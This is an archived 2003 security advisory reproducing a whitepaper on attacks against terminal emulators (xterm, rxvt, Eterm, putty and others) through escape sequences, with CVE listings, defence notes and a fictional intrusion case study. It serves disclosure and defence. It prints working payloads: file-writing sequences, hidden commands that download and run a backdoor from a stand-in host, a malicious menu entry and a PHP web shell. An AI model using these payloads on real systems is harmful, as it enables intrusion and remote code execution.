25th Feb 2003 [SBWID-6022]
COMMAND
Hacking terminal emulators
SYSTEMS AFFECTED
[ Test Emulator Versions ]
xterm: xf86 4.2.0 (patch 165)
aterm: 0.42
rxvt: 2.7.8
Eterm: 0.9.1
konsole: 3.1.0 rc5
putty: 0.53
SecureCRT: 3.4.6
gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf: 2.0
[ Vulnerability Index ]
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
candidate namess for all issues described in this paper.
CAN-2003-0020 Apache Error Log Escape Sequence Injection
CAN-2003-0021 Screen Dump: Eterm
CAN-2003-0022 Screen Dump: rxvt
CAN-2003-0063 Window Title Reporting: xterm
CAN-2003-0064 Window Title Reporting: dtterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-2003-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-2003-0070 Window Title Reporting: gnome-terminal
CAN-2003-0078 Window Title Reporting: hanterm-xf
CAN-2003-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf
CAN-2003-0023 Menubar Manipulation: rxvt
CAN-2003-0024 Menubar Manipulation: aterm
PROBLEM
From TERMINAL EMULATOR SECURITY ISSUES whitepaper by H D Moore,
Copyright © 2003 Digital Defense Incorporated, All Rights Reserved :
[ Credits ]
This paper was written by H D Moore, with much help from the rest of
the Digital Defense Operations Team. I would like to thank Solar
Designer for providing some great feedback on the original draft and
Mark Cox for handling the CVE candidate generation and vendor
coordination.
[ Summary ]
Many of the features supported by popular terminal emulator software
can be abused when un-trusted data is displayed on the screen. The
impact of this abuse can range from annoying screen garbage to a
complete system compromise. All of the issues below are actually
documented features, anyone who takes the time to read over the man
pages or source code could use them to carry out an attack.
[ Disclaimer ]
There is nothing new in this paper. The entire concept of exploiting a
terminal by supplying hostile input has been around for over 10 years
now. Unix veterans and BBS users have been exposed to this type of
problem since the very beginning, a newsgroup search can turn up all
sorts of exploits, from the ever-popular "flash" program to the abuse
of logging features in xterm which were disabled in R5. Therefore the
purpose of this paper is to identify weaknesses in the current suite of
popular terminal emulation software, not to rehash an ancient problem.
[ Escape Sequences ]
Typically, an escape sequence is a series of characters starting with
the ASCII escape character (0x1B) and followed by a specific set of
arguments. Escape sequences were originally used to control display
devices such as dumb terminals and have been extended to allow various
forms of interaction with modern operating systems. An escape sequence
might be used to change text attributes (color, weight), move the
cursor position, reconfigure the keyboard, update the window title, or
manipulate the printer. Over the years, many new features have been
added that required enhancements to the terminal emulator applications
to support them.
[ Remote Exploitation ]
To exploit an escape sequence feature, an attacker must be able to
display arbitrary data to the victim's terminal emulator. While at
first glance that may seem rather unlikely, the attacker can take
advantage of a number of small bugs in other applications to increase
their chance of success.
Just about every network service that uses syslog will pass remote data
directly to the daemon without filtering the escape character. The
responsibility then lays on the syslog daemon to strip the escape code
before writing the log entry to the disk or terminal. Although both the
stock *BSD syslog daemons as well the sysklogd package filter escape
sequences, msyslog, syslog-ng, and the logging daemons supplied with
many commercial UNIX-based operating systems do not.
While sending data directly to a vulnerable syslogd or rwalld service
is the most direct form of attack, there are literally dozens of other
ways to place hostile binary data onto the terminal of a remote user.
The Apache web server makes an effort to clean garbage from its access
logs, but it still allows escape characters to be injected into the
error logs. Many command-line network tools can be exploited by a
hostile service response, some examples of this is include wget, curl,
ftp, and telnet.
Multi-user systems are especially vulnerable, as any user can send a
system-wide message under the default configuration of most operating
systems. Placing the attack data into the banner of a popular FTP
server, telnet service, or message of the day file will increase the
chance of finding a valid target. Certain console email clients refuse
to display files when the content-type of an attachment is set to a
unrecognized value, so the user must save the file and then read it on
the command line, often just using the standard "cat" utility.
[ Screen Dumping ]
Eterm and rxvt both implement what they call the "screen dump" feature.
This escape sequence will cause an arbitrary file to be opened and
filled with the current contents of the terminal window. These are the
only two tested emulators[1] that still had the ability to write to
files enabled by default. Although rxvt will ignore dump requests for
existing files, Eterm[2] will happily delete the file and then create
it again. Although it is technically the same feature, the OSC code
used to trigger it is different between the two emulators. For rxvt,
the screen dump code is 55, for Eterm, it is 30. It is possible to
control the entire contents of the file by specifying the reset
sequence, then the required data, followed by the screen dump command.
$ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"
The same approach can be used to create an authorized_keys file for
SSH, a replacement passwd file, or even a hostile PHP script written to
the user's web directory. This attack requires no interaction on the
part of the user and would be very difficult to detect if done
correctly. The primary difference between this issue and some of the
others mentioned in this paper is that the actual "exploitation"
happens on the system running the emulator software, not the current
system that the terminal is accessing. The code that is responsible for
opening the dump file is shown below.
/* rxvt */
if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0)
/* Eterm */
unlink(fname);
outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR);
[1] XFree86's xterm disabled an equivalent feature in X11R5 due to
security concerns. It can still be enabled with a compile-time option.
[2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however
many recent Linux distributions still shipped with 0.9.1.
[ Window Title Reporting ]
One of the features which most terminal emulators support is the
ability for the shell to set the title of the window using an escape
sequence. This feature was originally implemented by DEC for DECterm
and has since been added to most emulators in use today. The easy way
to set the window title of a terminal is using the echo command:
$ echo -e "\e]2;This is the new window title\a"
When the output of the above command is displayed on the terminal, it
will set the window title to that string. Setting the window title by
itself is not much of a security issue, however certain xterm variants
(and dtterm) also provide an escape sequence for reporting the current
window title. This essentially takes the current title and places it
directly on the command line. Due to the way that most emulators
processes the escape sequence, it is not possible to embed a carriage
return into the window title itself, so the user would need to hit
enter for it to process the title as a command. The escape sequence for
reporting the window title is:
$ echo -e "\e[21t"
At this point, the attacker needs to convince the user to hit enter for
the "exploit" to succeed. There are a number of techniques available to
both hide the command and encourage the user to "press enter to
continue". The simplest is to just insert a prompt followed by the
"invisible" character attribute right before reporting the title.
Another method is to set the foreground and background colors to be the
same (all black or white) and hope the user hits the enter key when
trying to determine what happened. The following example for xterm
demonstrates a sequence that downloads and executes a backdoor while
hiding the command line. The "Press Enter >" string should be changed
to something appropriate for the attack vector. Some likely candidates
include "wget internal error: press enter to continue" or "Error:
unknown TERM, hit enter to continue".
$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
Any terminal emulator that allows the window title to be placed on the
command-line is vulnerable to this attack. The applications which were
confirmed vulnerable include xterm, dtterm, uxterm, rxvt, aterm, Eterm,
hanterm, and putty[1]. The tested applications that did not allow the
title to be written include gnome-terminal 2.0, konsole, SecureCRT, and
aterm.
[1] Although putty would place the title onto the command-line, we were
not able to find a method of hiding the command, since neither the
"invisible" character attribute nor the foreground color could be set.
Putty has a relatively low limit to the number of characters that can
be placed into the window title, so it is not possible to simply flood
the screen with garbage and hope the command rolls past the current
view.
[ Miscellaneous Issues ]
Eterm should be given an award for the "Easiest to Compromise" terminal
emulator. The developers based much of their code off of the rxvt and
xterm source, so Eterm tends to share the same problems as those two
emulators as well. If you happen to be running a CVS version of Eterm
from between February 10th and May 8th of 2001, it was possible to
execute an arbitrary command just by displaying the following escape
sequence:
$ echo -e "\e]6;73;command\a"
Fortunately, this feature never made it into an official release, the
"fork-and-exec" ability was replaced by the script action spawn()
instead.
During the research process, a number of small bugs were found that
would either lock up the emulator completely or crash it. Although they
can be disregarded as simple denial of service attacks, they could be
abused to prevent an administrator from seeing subsequent logs during a
compromise. In general, the code which processed application- side
input seemed to place little emphasis on sanitizing the data before
passing it directly to system-level functions. While there was some
effort made to avoid standard buffer overflows, much of the loop-based
character processing appeared ripe for a denial of service attack. An
example of this is a bug in the DEC UDK processing of XFree86's xterm
application, the following command will place the process into a tight
resource-eating loop:
$ echo -e "\eP0;0|0A/17\x9c"
This bug was reported to xfree86@xfree86.org on December 17th, 2002 and
no response was received as of the publication of this writing. The
hanterm application is also vulnerable to this issue, as the code base
started off as a direct copy of xterm.
Both rxvt and aterm support a feature known as the menuBar. This
feature allows the user to create drop-down menus at the top of the
terminal screen using both menu configuration files and escape
sequences. Anyone able to display data on the terminal could modify the
menu entries in a way that would compromise the system when accessed.
This type of attack relies more on social engineering, but still
provides a potential entry point when nothing else is available. The
example below will create a new top-level menu item called "Special"
with a single item labeled "Access", when clicked it will download and
execute a backdoor from http://127.0.0.1/.bd and exit the shell.
$ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"
[ Terminal Defense ]
The ideal solution is to sanitize all data before displaying it on your
terminal, however without a custom terminal application or data filter,
you can't guarantee that every tool you use on the command-line is
going to strip escape sequences. The responsibility should rest on the
actual terminal emulator; any features that allow file or command-line
access should be disabled by default and more attention should be paid
to new features that implement any use of escape sequences.
The tested terminal emulators that were not susceptible to the screen
dump or window title attacks include KDE's konsole, Gnome's
gnome-terminal, Vandyke's SecureCRT, and Sasha Vasko's aterm. Konsole
and gnome-terminal each use their own independent code-base and didn't
try to support the same massive feature set as the others. SecureCRT
took a similar approach, emulating just the minimum needed to be
usable. With aterm, the code was originally based on rxvt, however many
of the dangerous features were removed as the project progressed.
[ A Fictitious Case Study ]
Jim is the sole administrator for the web server farm at a moderately
sized ISP. Most of his company's clients maintain their own sites and
Jim's primary responsibility is to keep the web servers online and
secured. Jim spends some of his spare time dabbling with PHP and uses
his workstation as his development system. The workstation is on the
same network segment as the rest of the servers and the firewall only
allows TCP port 80 and 443 inbound. Jim has a new 2.5Ghz P4 and finally
has enough processing power to run the Enlightenment window manager
with all the tweaks. His favorite part about Enlightenment is the
terminal emulator, Eterm, which lets him make the background
transparent and do all sorts of imaging tricks. Jim keeps a tail
process running for the error_log files on each server he manages,
allowing him to easily spot script bugs and misconfigurations before
the customer calls him to fix it.
Andre is pissed. Some "friends" from his old hacking group have posted
some embarrassing photos of him on the group's home page. The page is
hosted in the ~user directory on a web server at some dinky ISP his old
friend uses. He starts poking at the web server only to give up about
30 minutes later after failing to find a single vulnerable CGI or
outdated service. He starts up Nmap again, this time on the whole class
C that the web server resides in, determined to take down the entire
subnet if he has to. He finds another web server, this one is running a
traceroute gateway that is vulnerable to meta- character injection.
Andre manages to get an outbound shell back to a bounce system and
proceeds to poke around. He finds what appears to be an OpenSSH public
key in the /tmp directory, named JimH.pub. Looking at the key file, he
sees that the userid stored in it is for jim@jimsbox.weeisp.com. A
quick check shows that jimsbox.weeisp.com not only resolves to an
external address, but is also running a web server.
The index page of Jim's web server consists of a couple pictures of
him, some links to his favorite news sites, some screenshots of his new
super-leet desktop, and some of his latest PHP projects. The first PHP
project link Andre clicks on immediately starts spewing errors,
complaining about not being able to connect to the database. The error
message itself is interesting though, since it contains the full path
to the script that triggered the error. Andre makes a quick note of
this and keeps digging around, hoping for an easy entry point. As soon
as he pulls up the desktop screen shots, he knows he struck gold. The
screen shot not only shows a scantily clad Italian model in the
background, but an Eterm open tailing the logs of the same server his
pictures are being served from. He gets to work, hitting the
workstation with every tool he can find, but an hour later he still
hasn't busted a shell. While looking through the screen shots again,
Andre gets the idea to look at the Eterm documentation and see what
other features it supports. Not only is the documentation easy to read
with plenty of examples, but it mentions an interesting feature
described as a "screen dump".
About two hours later, Andre finally manages to get Eterm and its 60
megabytes of support libraries compiled. He discovers that to force
Eterm to write out a file, all he has to do is display a certain
sequence of characters to the screen. The question now is how to get
those characters onto that Eterm at 4:30 in the morning. After a quick
review of the Apache source code, he finally finds a spot in the error
handling code where he can inject arbitrary data into the log files.
All he has to do is send a request for a file with the escape sequence
he wants to use and Apache will write the unfiltered data directly to
the log file.
Now that he can write arbitrary files to the workstation, he has to
find a method of using it to gain access. Andre is pretty sure that the
workstation is running SSH, but the only ports available are 80 and
443. He remembers that the PHP errors he saw earlier provided the full
path to the web root, if he can write files there, then he run commands
through the web server. Five minutes later, Andre is connecting to the
target web server and sending a GET request for a string generated with
the following command:
$ echo -e "\ec<?passthru($c);?>\e]30;/home/www/htdocs/owned.php\a"
This command clears the current screen buffer, displays his hostile PHP
code to the screen, and then uses the screen dump command to write it
into the web root. He points his browser to
http://jimsbox.weeisp.com/owned.php?c=id and starts the process of
rooting Jim's workstation, stealing his SSH keys, and taking those
horrid pictures (as well as the rest of the group's files) off of that
web server.
SOLUTION
Check your favorite terminal homepage :-)
[ References ]
This Paper and Associated Tools font color=#00ff00> ---
http://www.digitaldefense.net/labs/whitepapers.html ---
http://www.digitaldefense.net/labs/securitytools.html
Recognized Escape Sequences font color=#00ff00> --- Eterm:
http://www.eterm.org/docs/view.php?doc=ref --- xterm:
http://rtfm.etla.org/xterm/ctlseq.html --- dtterm:
http://hpc.uky.edu/cgi-bin/man.cgi?section=all&topic=dtterm ---
rxvt: http://www.rxvt.org/refer/rxvtRef.html
Solar Designer's Post on Syslog Filtering font color=#00ff00> ---
http://marc.theaimsgroup.com/?l=bugtraq&m=96938656931350
ADM's "The Evil Escape Sequences" font color=#00ff00> ---
http://www.attrition.org/security/advisory/ADM/adm.evil.esc.advisory
AmigaOS Escape Sequence Exploits font color=#00ff00> ---
http://www.abraxis.co.uk/SA-2001-11-08.html
MS-DOS/Windows Key Redefinition font color=#00ff00> ---
http://lists.insecure.org/lists/bugtraq/1994/Jul/0029.html
Multiple Emulator Window Resize DoS font color=#00ff00> ---
http://archives.neohapsis.com/archives/bugtraq/2000-05/0409.html ---
http://groups.google.com/groups?selm=E12zFeu-00075I-00%40ixion
The Original "Flash" font color=#00ff00> ---
http://www.parallaxresearch.com/files/unix/exploits/flash.c ---
http://groups.google.com/groups?selm=342k7c%243ne%40news.ysu.edu ---
http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=47&a=4
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